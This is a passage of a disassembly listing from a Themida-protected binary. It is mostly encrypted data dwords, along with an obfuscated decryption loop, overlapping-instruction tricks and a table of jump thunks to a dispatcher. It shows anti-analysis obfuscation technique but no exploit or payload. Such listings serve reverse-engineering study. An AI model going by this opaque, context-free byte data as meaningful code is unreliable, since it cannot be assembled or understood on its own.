dd 92245C76h, 42A06E15h, 2A83EC14h, 6FA7C39Eh, 36C9C2D4h
dd 821442A0h, 0D442A0F9h, 8077F456h, 4ED442A0h, 0DFB0D3E5h
dd 7F1D7FCFh, 817A8CA0h, 0D3A58CACh, 32C946A6h, 0A0D3A58Dh
dd 14A6DE37h, 8D4E35B2h, 0A30CD3A5h, 8D216E91h, 92EAC03Dh
dd 0FF68D441h, 3277E1ABh, 0EA70B0A2h, 219h, 0A135572Fh
dd 0FE92B28Bh, 5EF20CE8h, 0C1556948h, 20B4D0ABh, 0CDA8A147h
dd 2D071DB1h, 87657B0Fh, 0EAC7DD71h, 0DB8B3ED2h, 0A521995Eh
dd 61F03513h, 11617956h, 0F082B99Fh, 0DE95C1BCh, 0FAA808C4h
dd 223A1716h, 0E4F64FEAh, 6F48471Eh, 42520DF2h, 760C914h
dd 2D713AB7h, 0D43D13A5h, 344E2A40h, 94AE8AA0h, 0ADCDA644h
dd 754EDA75h, 70821D55h, 0F2BCD3AAh, 0AE6225A2h, 9430144Dh
dd 0CB669EB8h, 6604DE72h, 9A356D8Dh, 50EC8F88h, 711E1B8Dh
dd 0BB70ED3Dh, 771C6A2Fh, 4320BE0Eh, 0A481972Bh, 24C2548Ch
dd 0C8A22E48h, 0CC9F98AAh, 8303F5CFh, 0BEE4A311h, 3A8A4E0Eh
dd 0F5E4C6BDh, 192B9403h, 0C51599F6h, 129AFF48h, 0AAFA6304h
dd 6434CB48h, 39A20BDCh, 0CEAB4927h, 2F0C22B6h, 4B29C717h
dd 5062FD35h, 6432DD8Ah, 137C0BDCh, 15CE4B9Bh, 0D90C3B1Bh
dd 0A5822070h, 6E3F98Dh, 552C9EEEh, 0AFE9A6FDh, 865D2335h
dd 0D855A509h, 3423F86Bh, 0A03E8EF7h, 0D671A9C5h, 0AE51FEC4h
dd 1D3B2F06h, 0DB24580Ch, 0FCB0EE6Bh, 0Ch, 0BD847725h
dd 7571442h, 0E6000000h, 42BA8477h, 424D5414h, 0A003F875h
dd 53D01442h, 1442A0ACh, 770C12Ah, 2EE15EAEh, 0E413A5DFh
dd 236C437Bh, 0C19D3B8Bh, 0C2D46FA7h, 0CB9167E4h, 0D63F1441h
dd 32311482h, 0CB519162h, 0A1h, 19ADCFA7h, 760A2A03h, 0D66A8460h
dd 39CDE1C0h, 982C4823h, 452039BFh, 0A57F9529h, 0FFDDF387h
dd 623F55E9h, 5303B64Ah, 0A52321D6h, 0D968AD13h, 16F492h
dd 0F81B2DC8h, 4AC71797h, 13A5DF81h, 0D5ACE44Dh, 27A4F4BAh
dd 1441D625h, 0D8F4CF6Bh, 0DBF7D2A0h, 23AF08A3h, 5AF52D47h
dd 3BF3AD01h, 86C66232h, 3800h, 16381000h, 73936C82h, 0D3EDC9DFh
dd 364A293Fh, 95B18CA2h, 89C22801h, 0E8FE92AEh, 465CF00Eh
dd 0A8BE5268h, 6C1FB3CBh, 23B83FBCh, 0D11613A5h, 39E42h
dd 8D2D0000h, 5C7E563Eh, 61795624h, 677D5B29h, 6987612Fh
dd 6C886331h, 6F8B6634h, 768A6937h, 7A94703Eh, 7B9B7442h
dd 8957EE43h, 4C781E7h, 81000000h, 4EFh, 243C8700h, 242C895Ch
dd 8904EC83h, 5C682414h, 8900001Ah, 5550240Ch, 0B12B1BBDh
dd 0DDF74D77h, 8108E5C1h, 0A357B4E5h, 42F58166h, 814B4D29h
dd 1A1040C5h, 5DE889FAh, 5458C289h, 81240C8Bh, 4C4h, 0BF575200h
dd 0AE30762h, 4247C01h, 8418F5Fh, 62086981h, 0FF0AE307h
dd 81592434h, 4C4h, 24148B00h, 81E78957h, 4C7h, 4C78100h
dd 87000000h, 0E95C243Ch, 0FFFCF957h, 0E6481895h, 17BCA309h
dd 0BB6052F7h
db 52h, 3Ch
; ---------------------------------------------------------------------------
loc_5BA93E: ; CODE XREF: Themida_:005BA3E0j
mov eax, 7E78417h
add eax, ebp
loc_5BA945: ; CODE XREF: Themida_:loc_5BA3DBj
mov ecx, eax
call near ptr loc_5BA95C+2
push esi
sbb al, 95h
dec edi
add ebp, [eax]
mov esp, 0EF6F762Ah
mov edi, 5A3E041h
loc_5BA95C: ; CODE XREF: Themida_:005BA947p
add eax, 8B665937h
rep add ecx, 739Eh
cld
mov edx, 6536B7CDh
sub edx, 65369B08h
jnb $+6
loc_5BA97A: ; CODE XREF: Themida_:005BA9D2j
push dword ptr [ecx]
adc esi, 7550B638h
pop eax
js $+6
xor eax, 1C311C84h
movzx edi, dx
sub eax, 6FC66F2Ah
push ecx
jmp loc_5BA9AF
; ---------------------------------------------------------------------------
dw 14E0h
dd 0C44F0063h, 38E924FFh, 0B2E0EAF8h
db 1Dh, 77h, 6Bh
; ---------------------------------------------------------------------------
loc_5BA9AF: ; CODE XREF: Themida_:005BA999j
pop esi
add eax, 5417F98Eh
movsx ebx, cx
mov [ecx], eax
sub ecx, 4
jmp loc_5BA9CC
; ---------------------------------------------------------------------------
db 12h
dd 0A17F9C7h, 0C9583EBh
; ---------------------------------------------------------------------------
loc_5BA9CC: ; CODE XREF: Themida_:005BA9BEj
sub edx, 1
jnz loc_5BA97A
mov ebx, eax
jmp loc_5BAB28
; ---------------------------------------------------------------------------
db 68h
dd 0E7048D36h, 93DA95ECh, 0DF067158h, 0FDBEB6CFh, 36365D54h
dd 0BCECA4h, 52C55DD5h, 0A4D676D3h, 4100FC94h, 50C1AEC4h
dd 325277CBh, 9CACACh, 0FC6C46BFh, 597390ADh, 75D6A336h
dd 0BD9C72E2h, 93DD0090h, 0A79B8CE6h, 0DD64A592h, 9792A7ABh
dd 0FC7A918Fh, 96B9F95Ch, 0B59BB1E4h, 0B69F47E4h, 94B6E592h
dd 0B59EBDF6h, 0EC96B3EBh, 999C93D0h, 0FD7B97BFh, 9389F55Ch
dd 0EDAFF4h, 0A6E3B2CDh, 0B5D4E594h, 445700C3h, 0B0F3622Dh
dd 38AE29h, 600000h, 640000h, 2 dup(0)
dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h
dd 65530000h, 63697672h, 61502065h, 32206B63h, 20h dup(0)
; ---------------------------------------------------------------------------
loc_5BAB28: ; CODE XREF: Themida_:005BA9DAj
jmp loc_5BCA7E
; ---------------------------------------------------------------------------
push 7E78869h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E78994h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E78A38h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E78B2Ch
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E78BE9h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E78C98h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E78D6Dh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E78E11h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E791E5h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E79266h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E79391h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E796CBh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E79A23h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E79D9Dh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E79F12h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E79F8Ah
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E79FD5h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E7A039h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E7A1FAh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E7A2D9h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E7A4BEh
jmp loc_58A287
; ---------------------------------------------------------------------------
retf 0D0F2h
; ---------------------------------------------------------------------------
dw 263Ch
dd 83992D4Dh, 0E3F98DA7h, 465CF004h, 0E2BB4F6Bh, 4C68431Ch
dd 0AAC8A2B8h, 0C220016h, 6D856278h, 0F97626D9h, 13A52702h
dd 56FC8BD0h, 5B296179h, 0B3D2667Eh, 582D2DCh, 13A6B38Bh
dd 7B2860C9h, 13A6B480h, 4E0E3647h, 0D87809B1h, 4626h
dd 424D4F00h, 0E99F1C6Ch, 0A713A6A9h, 0F8CEE3Eh, 13A6AA68h
dd 0A56B7DE6h, 2AB9A113h, 0A77ABFF4h, 0C9E39C95h, 553413A6h
dd 5F3B0941h, 0A92C0D45h, 0B5DB5FDh, 3C74946Dh, 0B2F28FA1h
dd 77A8F50Ah, 0AFE2D8h, 560B0000h, 5B296179h, 5E2C6480h
dd 63316981h, 0E5DA6E86h, 1442A459h, 68825EFCh, 6F836230h
dd 31439C37h, 8E223A17h, 73509B78h, 2F88235Bh, 3F6F20F7h
dd 0B0F072EFh, 55BE13A6h, 0C1EDA2C1h, 50FBF471h, 4EB71440h
dd 698560FEh, 0C8E4BFD5h, 32C85674h, 0F177B762h, 1CE7h
dd 31C5E7BFh, 8E22421Bh, 0EE829C78h, 51E5F9D8h, 0B044603Bh
dd 5D3811D7h, 0BD97AD41h, 17F50B9Fh, 7A576D01h, 6B1BCE62h
dd 0A52809EEh, 0F180C513h, 502C7B56h, 0A63FE36h, 6B836076h
dd 1E9BFDD7h, 1442A059h, 8FC7DBBAh, 0EA3AA3F4h, 42A0966Dh
dd 0C9DB4414h, 6C424DF4h, 0A9E99F1Ch, 3EA713A6h, 0AAA65906h
dd 12F113A6h, 1BF8C6FEh, 0C58CCB03h, 0A65DDA81h, 3413A6AAh
dd 91A72CBh, 7DE215Dh, 0DDF7D878h, 20000000h, 29617956h
dd 5D5D805Bh, 0DCA320ECh, 7A1442C7h, 0D678B111h, 9C4981DAh
dd 144284A0h, 0E93C15B3h, 21BCF40Ch, 0BF9CB6C8h, 49819574h
dd 0ABC155AEh, 8BA983CEh, 275FB853h, 0C1B63395h, 8D144285h
dd 0A0EF1224h, 89E202DBh, 91BABC39h, 0A70913A6h, 0A69A552Ah
dd 0CDEDC613h, 0E905E07Ch, 0ABBD16B1h, 0E5305CCCh, 42DA77E1h
dd 0A65C3EC5h, 0DA339C13h, 0C1CEED81h, 80209DEDh, 0D21440BAh
dd 3AB71969h, 1B894345h, 43EE9512h, 36C1B89h, 593749B2h
dd 30C4E0BBh, 0CF233F1Ah, 6231E805h, 0BC56DC1Ch, 0EA00001Bh
dd 465CF012h, 0A3B94D6Dh, 319ADC7h, 667C1024h, 2DB6F8Bh
dd 6C8863FCh, 0CAE8C2D8h, 2C422036h, 8DA58298h, 199646F9h
dd 13A52962h, 561CABF0h, 0B5CB5F7Bh, 5B2CC0D8h, 29617956h
dd 0F26F7E5Bh, 1442A00Dh, 730760C9h, 0D82D44Ch, 6D451A1h
dd 0D413A68Ch, 5857626Bh, 0E2AF28E2h, 4FB101ADh, 3B8B70EDh
dd 300CD030h, 4A5CC516h, 0D43A3351h, 2058C1D7h, 18684649h
dd 0F0063C9Bh, 4CEA4ADFh, 17EC576Fh, 0C3C07879h, 13B1015Ah
dd 2C0A1C38h, 599B18Eh, 0A6FA12EFh, 9DC2F238h, 1837BDFDh
dd 8E00001Bh, 0EA0094B6h, 475DF111h, 0A7BD516Bh, 0A20B4C8h
dd 0A67F132Fh, 102C0740h, 6E8C667Ch, 0D0E6C4DAh, 3149263Ch
dd 0BD3AEA9Dh, 13A52AC6h, 56C04F94h, 97296179h, 0CA021EF9h
dd 95FA1D2Fh, 0C967C919h, 0C9C2D4ECh, 13A6BFE3h, 4D740871h
dd 4F2ECCD9h, 5668033Bh, 2525C33h, 4293D785h, 0A8258514h
dd 1B8AEBD3h, 0B08A167Fh, 66BF5A92h, 0C2FB6D5Dh, 0BF44C1CCh
dd 1B1B8A7Dh, 4B9C52B2h, 0CD352E40h, 90DC3B7Eh, 0C1F919F2h
dd 9EF11426h, 4822C010h, 0BD3A182Ah, 0C4DF7F5Fh, 1274C42Dh
dd 1F40EE95h, 2CFC6CCBh, 0F2E11DDFh, 0EAB0C21Bh, 3987E658h
dd 25F6A4Ch, 0ECC2CDF0h, 0BE9C3A9Ch, 257E9A75h, 474052EDh
dd 0CCFB2768h, 0DB3D8DF6h, 124A5E3Dh, 2C4A1777h, 0F2421071h
dd 0CAE9C6E0h, 0BA43A9B6h, 53E740E6h, 0F448603Dh, 8ABC7CF4h
dd 248F1555h, 8200001Ah, 0DEF488AAh, 3B51E505h, 9BB1455Fh
dd 0FE14A8BCh, 9A730723h, 420FB54h, 62805A70h, 0C4DAB8CEh
dd 253D1A30h, 0B12EDE91h, 13A52BCAh, 56B44388h, 36542E79h
dd 0D20A63FEh, 0CA1A94FBh, 0D5EDCA68h, 81F0CAC3h, 0F55E13A6h
dd 0C8D93A61h, 21334F2Ah, 0CD1D91FEh, 0D9EFCD6Bh, 0FBF406A1h
dd 1442AD2Dh, 65855EFCh, 20B7453h, 225556F7h, 0B7D887h
dd 33A5FC83h, 98F15AB8h, 0A4ADCB48h, 0D23BBFD7h, 1981082h
dd 0DC5881B1h, 7604D253h, 13257E3Fh, 411DBB4Dh, 9DF21527h
dd 6744C111h, 0F3A7F37Ah, 0BF9C3A8Ah, 20FD13A7h, 973F9C01h
dd 0B912B5E4h, 0C3B28D65h, 0A90D0B5h, 1967h, 0B145673Fh
dd 0EA2C29Bh, 6E021CF8h, 0D1657958h, 30C4E0BBh, 0DDB89157h
dd 3D172DC1h, 97758B1Fh, 0FAD7ED81h, 0EB9B4EE2h, 0A52B896Eh
dd 71004513h, 29617956h, 21713D52h, 0A6833AA4h, 9FEF5813h
dd 843BC03Dh, 0FB9713A6h, 97A90222h, 0D8C14E75h, 8402F976h
dd 67D013A6h, 515D3255h, 0A8D68401h, 1B841442h, 28B02212h
dd 8FE5810Ah, 651A97E7h, 0F11B8AF5h, 687D7688h, 0F6E6C841h
dd 48C51599h, 1EADAB2Ah, 8DFF4FB8h, 69682055h, 6127394Ah
dd 59A9058Ah, 49B0FFDCh, 0D2228B07h, 0AB3F5734h, 4CA0B895h
dd 552A65B0h, 0B8FB81C1h, 0EE000018h, 4A60F416h, 0A7BD5171h
dd 71DB1CBh, 6A801428h, 6DF738Fh, 708C67E0h, 0CEECC6DCh
dd 3046243Ah, 91A9869Ch, 1D9A4AFDh, 13A52C66h, 5620AFF4h
dd 52296179h, 0A421713Dh, 13A6ABF6h, 122A07A5h, 68B82100h
dd 0C4D6ECCAh, 0B50B7BA2h, 9B60DDDAh, 0FC13A6ACh, 4AB30422h
dd 2503A1F1h, 0A21FFD0Fh, 144280F4h, 132706A2h, 14A6B1BAh
dd 0F688426Eh, 0EF03E299h, 0ABC94696h, 39B03790h, 6E280D0h
dd 0A522B4ECh, 0BF3792DEh, 2EBA137Ch, 61273951h, 9C76058Ah
dd 0B7EFD077h, 35C4FEEh, 87D730CBh, 0D3F2AD0Ah, 0DB58BAB8h
dd 0A71B0524h, 2ED552B2h, 0ACA71B05h, 0F9D8EA43h, 0C5A24090h
dd 0FE90B9A6h, 156EFB72h, 768E6B81h, 0A4AAE422h, 0DB61A1BEh
dd 17E3h, 35C9EBC3h, 9226461Fh, 0F286A07Ch, 55E9FDDCh
dd 0B448643Fh, 613C15DBh, 0C19BB145h, 1BF90FA3h, 7E5B7105h
dd 6F1FD266h, 0A52D0DF2h, 0F584C913h, 29617956h, 0FD7A3D52h
dd 1442A006h, 52A3BD99h, 0DE4090E9h, 0D9566140h, 1442A022h
dd 0B6EE47B0h, 9410091Bh, 0DE13A525h, 0AA872575h, 0B224FE92h
dd 8AAB3C4Eh, 0D5CEE078h, 13A5DCBEh, 811599F8h, 142C09A7h
dd 0F30BE802h, 5F4F405Fh, 5912920Fh, 0F7601442h, 103009A7h
dd 768D667Ch, 8DA202F9h, 0E67D01Bh, 132B08D6h, 2EC951BFh
dd 82084862h, 173Fh, 0D96D8F67h, 36CAEAC3h, 962A4420h
dd 0F98DA180h, 58EC08E3h, 5E0797Fh, 653F55E9h, 0BF9DB347h
dd 22FF15A9h, 13C3760Ah, 0A52EE196h, 99286D13h, 1C6C424Dh
dd 20B7D3AAh, 1E30CAF0h, 816CDE40h, 33185210h, 39CDD6B5h
dd 95EE027Ch, 0EA0A8A83h, 0EF5813A5h, 0C24019Fh, 76385978h
dd 92E5B426h, 14338846h, 0C4A72402h, 8A13AABEh, 0F557E921h
dd 0AABE8378h, 96E64F13h, 0AABE6219h, 7587F013h, 0AABE827Ch
dd 1F391513h, 263A19E7h, 0DA8A0DEEh, 792D3E96h, 73FFBA45h
dd 731BD8h, 4D440000h, 9D1A6A44h, 1442A0EAh, 0E49B1878h
dd 721442A0h, 0CB78B009h, 1442A030h, 366E8663h, 39718D68h
dd 84FBAB82h, 0DB338CAAh, 0DF311789h, 6242B258h, 0C8F3B350h
dd 0FB334F2Ah, 8C734E60h, 49E05BAEh, 2Dh, 0A0857772h, 88071442h
dd 5E38D626h, 5B6D0840h, 8EA2007Dh, 14B013A6h, 0D7AC2936h
dd 8313A68Fh, 0D468C11Ah, 687E5CFAh, 0D3E501DCh, 15F492FEh
dd 1C2EC901h, 0C81896F9h, 0A682A54Bh, 92CA3313h, 3BCFE7C4h
dd 0CCE8C361h, 0CDE7F994h, 0EA88D8F0h, 1FBAF210h, 9E79470Dh
dd 0B9943282h, 0B8CA659Dh, 55118EF2h, 61F50DEAh, 1E566E4Bh
dd 0D6F4847h, 0A682EB90h, 93FE6713h, 13A682ECh, 0F68D0A6Ah
dd 6413A682h
dd 0F949A2FBh, 429BAA7Ch, 0D9087814h, 6687E2F4h, 845EF24Bh
dd 67F307E6h, 0A13C7488h, 8098758Fh, 0ADC39B48h, 43C063BCh
dd 0C6E65803h, 743E8B31h, 4B284254h, 0AC899F33h, 2CCA5C94h
dd 0D27394Dh, 2BE21A2Eh, 0CB691054h, 0CCC4CDF0h, 0CC071E57h
dd 6A476173h, 85640252h, 273D5F71h, 68FA324Ah, 9BD3EFCAh
dd 0C4CBEE00h, 0C31D9AEAh, 919459F0h, 0A70018F5h, 820FD13h
dd 0A2802D0h, 0B5F16ED2h, 41D5EDCAh, 0E6364E2Bh, 0CD700784h
dd 75DE9BA1h, 0C9C69D63h, 661895E5h, 0EC9C45FFh, 0BC953383h
dd 3DC9649Ch, 740F4761h, 4D2A4062h, 4A3B212Eh, 24F25270h
dd 5FAF086Bh, 82B3DBEDh, 0B9548CA6h, 7DE9CB59h, 7F8A56Bh
dd 7D93854Ch, 0F6D34AFAh, 80B8CCABh, 9E3C8CE5h, 7597A9C1h
dd 336B815Fh, 366E8A65h, 8772FF8h, 26C4142Ah, 422FC4Bh
dd 9D7799ABh, 0D30B21FFh, 0D9112705h, 7D59E53Eh, 7E902B63h
dd 38708664h, 3F778B6Ah, 447C9471h, 0BE7C9776h, 1186AF48h
dd 0B1538BE4h, 6E38A3DDh, 3FBCDE4Ch, 0AC294B07h, 5EA785F8h
dd 7B0F6882h, 0A9602FA1h, 0F9418BB7h, 0FA5DCF99h, 0DDEF45FBh
dd 97CFE5C3h, 8FDFCFC0h, 61947C12h, 5991FAB4h, 0A49BCBA2h
dd 61CB0C6h, 47D91129h, 0A0B2CEA9h, 0FC9AA986h, 33CE0620h
dd 0E99833C8h, 0DD369FBBh, 0E69E67A5h, 32829A77h, 68A0B694h
dd 11DE6DCDh, 0E13C7FB1h, 29D6ADCFh, 0AE30B05Fh, 44h, 17F492D7h
dd 7425C7FFh, 0F2B2B7ACh, 9BB5C720h, 0B957A7BDh, 0EE89C1DFh
dd 503F16DCh, 0B7910E5Eh, 0BD13A606h, 0EB09584Dh, 3790D5BAh
dd 32D5A3h, 0E95B0000h, 0E9D36408h, 0C23F8F07h, 13A6B03Dh
dd 491E3099h, 0EE6B7856h, 1442A009h, 0CB035CC5h, 0C3139BF4h
dd 0CDE7C361h, 0EFE8FA95h, 13A6B99Dh, 8556EA53h, 107FC145h
dd 3D14E9Eh, 0D113A68Ch, 73F5935h, 0FF0A136Ch, 0E7159B78h
dd 61B1FD92h, 31E286E4h, 58E355EFh, 80D11722h, 0A50EEDFFh
dd 0BEDEB755h, 800FE6ACh, 4261DE2Eh, 1017DDD8h, 0DCB957A7h
dd 0FDD674C4h, 0AA0AA5DDh, 1D4810FBh, 799BAD55h, 0DF672D9Fh
dd 82B64DCAh, 0BB24181Dh, 272F715Bh, 95A7BD9Bh, 7A539E7Bh
dd 2E87225Ah, 9DDD40DAh, 0A72D6D65h, 136Bh, 0AD41633Bh
dd 0A9EBE97h, 6AFE18F4h, 0CD617554h, 2CC0DCB7h, 0D9B4AD53h
dd 391329BDh, 9371871Bh, 0F6D3E97Dh, 0E7974ADEh, 0A531956Ah
dd 6DFC4113h, 0FE18F492h, 6B7D9572h, 42A18D72h, 0AFD84A14h
dd 0E202585Dh, 127DA0B2h, 77DA4C9Ch, 519F859h, 8DD232CDh
dd 411F316Dh, 0A67D86C4h, 9BEB5413h, 0FBD61FFDh, 800CA7DFh
dd 0BA558DA1h, 0D9B7CD61h, 0E0BD8BC3h, 0EAB074C8h, 0D1116A18h
dd 12EA4Bh, 0C2E4BC00h, 1F3F182Eh, 7F99758Bh, 0E2F6D5EBh
dd 415D384Eh, 352ED4ADh, 94AA3E5Ah, 0F2089CBAh, 546AFE14h
dd 18CB5F77h, 3214EB68h, 7DC213A5h, 75424DEEh, 42A003F8h
dd 0D66CF14h, 0B60240BDh, 67D013A6h, 0B553B517h, 0EC87BFD9h
dd 0A6B7FA81h, 0DDEF5813h, 56D3EAC3h, 13A6B7A1h, 9BB5912Dh
dd 166FC863h, 0BFCC54C6h, 0AC3DD26Dh, 8962789Ah, 86633169h
dd 0A6801E6Eh, 129E1781h, 95EEB2CAh, 0EAB0C25Dh, 35285C33h
dd 4EEC3C5Ch, 26485A70h, 474E9AFFh, 59325E67h, 0FD6F0139h
dd 9FE57EF2h, 0DD6946h, 23DDD6E8h, 0B613A61Eh, 8D66D98Dh
dd 0EAC3D96Dh, 0D4BB92CAh, 3CB9CCA7h, 13A61E47h, 1951AA13h
dd 58D5257Eh, 14419B7Ch, 0DB4D9D06h, 7CDB762Ch, 0CAA632A0h
dd 0CBDD78B0h, 0BF198BEDh, 0CDACEA98h, 77546E80h, 0D8B5CB5Fh
dd 0A795B9h, 0D0E265E9h, 523C8D0Bh, 6CA4FD56h, 64B4FA95h
dd 71856402h, 0E4CD665Fh, 28911C69h, 455D3AD8h, 0A6BE9BB1h
dd 0B6F8976Eh, 0F0CBE966h, 30990412h, 656C52DCh, 0BD438352h
dd 11BFh, 59ED0FE7h, 0B64A6A43h, 16AAC4A0h, 790D2100h
dd 0D86C8863h, 8560F9FFh, 0E5BFD569h, 3F1D33C7h, 0A27F9529h
dd 9343F68Ah, 0A5336116h, 19A8ED13h, 42A08977h, 213E1C14h
dd 0F1A40D69h, 4CE03993h, 0EC931072h, 6A1442BFh, 25B5A101h
dd 5B7F7BF0h, 45692649h, 92E778F5h, 42AB13A5h, 5E7854F2h
dd 0F492F9CAh, 26C80016h, 43C66A81h, 0EA76CF98h, 1EB9F111h
dd 7CE310Ch, 9607E7DFh, 30000001h, 246B434Dh, 0A06B1592h
dd 0C1A81442h, 0D339927Ah, 3092F795h, 42A0CCB3h, 0F218A14h
dd 0FCD5A6ECh, 0B009A4DCh, 4D0AC169h, 0A4166648h, 933740F6h
dd 1AEF0181h, 0FD19F492h, 81182AC5h, 0E59A959Ah, 7E1CE55Fh
dd 804E86A4h, 0B65189A5h, 53AC4B5Dh, 0D5000000h, 2269454Dh
dd 0C91AF492h, 0FF9AD2EEh, 83D36EA6h, 42A07106h, 6274DD14h
dd 0A0750784h, 72DB1442h, 0BC43C022h, 1A1442A0h, 304825B1h
dd 764B5DF8h, 30923992h, 42A0CCB3h, 0F218A14h, 0B8FF19F5h
dd 329E5B70h, 24000000h, 0A0BE45C2h, 0B31C1442h, 454DCCA1h
dd 0F4922269h, 2EC90115h, 3FC13E1Ch, 541442A0h, 3992266Dh
dd 532D7A56h, 0A03AC13Eh, 2F981442h, 70367DD6h, 17F4925Bh
dd 0A1D9EDCCh, 0C09BAD06h, 0E55FE56Fh, 5DA8h, 484DD100h
dd 15921F66h, 1442A06Bh, 5A6E4DE9h, 0E72E8722h, 51AF492h
dd 42A0F388h, 9DF65F14h, 5654AD8Bh, 92165D7Dh, 0AA51CE30h
dd 281442A0h, 0A0AF54BFh, 0C22B1442h, 0F492B0B0h, 31C3FB1Bh
dd 42A0CFB4h, 0C9228B14h, 609EE2B7h, 24000000h, 8B265AB2h
dd 0C15C94B0h, 0D7651561h, 484DF0C5h, 30921F66h, 0FB02B2BEh
dd 32CD051Fh, 46BCD5D2h, 7B164E6Ch, 65171022h, 0AA144294h
dd 94A84FCCh, 8A261442h, 0DF3891B1h, 0CE309298h, 0D065C5Ch
dd 0E954613Ah, 14427D12h, 0F0CB57C0h, 56EDC2D4h, 92165D7Dh
dd 0A0CCB330h, 218A1442h, 9EFA0F0Fh, 0FFFFFE4Eh, 6C424D2Dh
dd 8AA07E1Ch, 0F90B1FFEh, 8E47B91Bh, 898A15E3h, 3089A781h
dd 0E5A1251Eh, 8AF313A5h, 0A4C29C3Ah, 0E1BFD16Ch, 0DA576643h
dd 13AAE625h, 9FEF48B1h, 0D40C2401h, 0BACEAD39h, 0B3D5E782h
dd 455F3BD9h, 2D811033h, 0E69B60DDh, 0CE3713AAh, 0E610E996h
dd 0AE8713AAh, 0AA88568Eh, 0CEA55C94h, 3082DA96h, 16765CCEh
dd 0C78B7927h, 0AAE0A75Ch, 3ECA3313h, 97344664h, 0DD50AFEFh
dd 2E85D873h, 0AE000000h, 42A08477h, 1A320F14h, 0A0EF9186h
dd 6E211442h, 0AD73F040h, 6B13A6A6h, 32946E02h, 0A6A6CEB5h
dd 97238C13h, 0BD8FA1BBh, 0A6h, 39424D4Ch, 99E9425Eh, 0F6D41DFBh
dd 977587E0h, 0A681201Ah, 75C52E13h, 4FE3F9D7h, 36125B39h
dd 0B48BC31Ch, 683D3DBh, 14410496h, 1F461FBDh, 7B3231FBh
dd 4E86DF13h, 59C2A1B3h, 778D6B09h, 0B19709E3h, 0F067D810h
dd 0DEB0517h, 0A7E8BFF7h, 73AB707h, 531C6E54h, 1FFC9AEAh
dd 27997307h, 33B64D6Fh, 738D9F7Fh, 0E2A7E96h, 0DB5A4A21h
dd 0E85159Bh, 49210000h, 0A47D9327h, 0FEDAF084h, 5B3A50E4h
dd 0C29DB347h, 0B33912A6h, 0FA3BF9Ah, 6D011FF9h, 0CF637957h
dd 30C4DCB9h, 0AB50CD7Dh, 2713A536h, 795653E2h, 35972961h
dd 42A0C3B8h, 14268F14h, 0CD051DFAh, 9F9EC68Fh, 3F16AAC2h
dd 0E05C1DC0h, 4D15h, 424D3E00h, 25216265h, 55E4414h, 57DA38B5h
dd 3FA813A6h, 115C3907h, 42E41C34h, 97F76E7Ah, 0D32C8595h
dd 344C293Fh, 446A25FCh, 40C577F4h, 1A8C1442h, 0F2CE27CDh
dd 0F0F978D8h, 0F46989E9h, 0CEFEE674h, 6341DDBCh, 217A154Dh
dd 2092BC8Dh, 9E48AE0Fh, 0BCBB27A8h, 9083A909h
dd 0D0A9C3D5h, 2D061CB0h, 57B0006h, 17707166h, 364A29C7h
dd 0C5B15E24h, 9014424Dh, 0E8FA18F2h, 66E3F0CEh, 14424D91h
dd 0BA0B2702h, 8A64F851h, 0E5C112ECh, 9FF893CBh, 97BACC67h
dd 0E966B6F8h, 13A5C87Bh, 0B44BC82Ah, 2213AAD2h, 5FC8A7B9h
dd 7B95710Fh, 6A9516E7h, 2CE7DFE5h, 5D95B58Eh, 0A0A94ECBh
dd 0BC2514C2h, 23B25163h, 0DB000001h, 246B434Dh, 0A06B1592h
dd 0C1A81442h, 8720927Ah, 4005C0C2h, 6B9D2585h, 0EC8A2CE0h
dd 0D3A3FCDAh, 454DF795h, 0A00EF572h, 63CC1442h, 1C1C30Ah
dd 0A05D229Fh, 90F91442h, 484DA97Eh, 0E9D91F66h, 442A5D77h
dd 1F31E7A9h, 0E59A954Ah, 2C5BE55Fh, 7B000000h, 0B657AB09h
dd 0B3FE8C99h, 2593A8DCh, 0A3788AE3h, 2269454Dh, 0A06B1592h
dd 80E91442h, 56399239h, 7019607Ah, 169E5Bh, 4D2D0000h
dd 92226945h, 42A06B15h, 7AC1A814h, 7A563992h, 5B701960h
dd 0FE18F492h, 0E61E11ECh, 49D7E55Fh, 0
dd 1F66484Dh, 0B5923092h, 3D758D6Ah, 761149A2h, 0A0916B64h
dd 0D63F1442h, 0AC20928Fh, 9EE0E526h, 9B2555A3h, 26CEE33Bh
dd 5DF8304Ah, 0BB14F204h, 115F492h, 21C2EC9h, 1BB90929h
dd 4015273Dh, 319E5B70h, 2D000000h, 1F66484Dh, 0B6923092h
dd 5EC9649Ch, 1442A099h, 0DCBACC35h, 42A09D5Fh, 0BB0BF214h
dd 0EF27411Dh, 926D4254h, 5D7D5639h, 0B4527016h, 0D4A9BBDBh
dd 0FFFEC59Eh, 424D2DFFh, 279F1C6Ch, 6D13A525h, 7EDEF2D1h
dd 6A8E8399h, 0DD2D86A6h, 0B64A623Fh, 64B4FA97h, 97FE8502h
dd 0F35C13A5h, 975126A3h, 94FD13A5h, 5027A482h, 0FE13A597h
dd 0C9B05D95h, 4E13A597h, 54225A70h, 95275F77h, 0A5976318h
dd 1186EF13h, 0EE460A3Ah, 0AF5A9DDh, 0CBD874E6h, 28h, 0A08477F4h
dd 320F1442h, 4F2CCA1Ah, 1464FF37h, 42A0E097h, 0F3056E14h
dd 0C385F7D1h, 1850C66Ah, 0C3F8CADCh, 87000000h, 0F875424Dh
dd 1442A003h, 0BD0D66CFh, 0A6BD3640h, 0E3339C13h, 0BD516745h
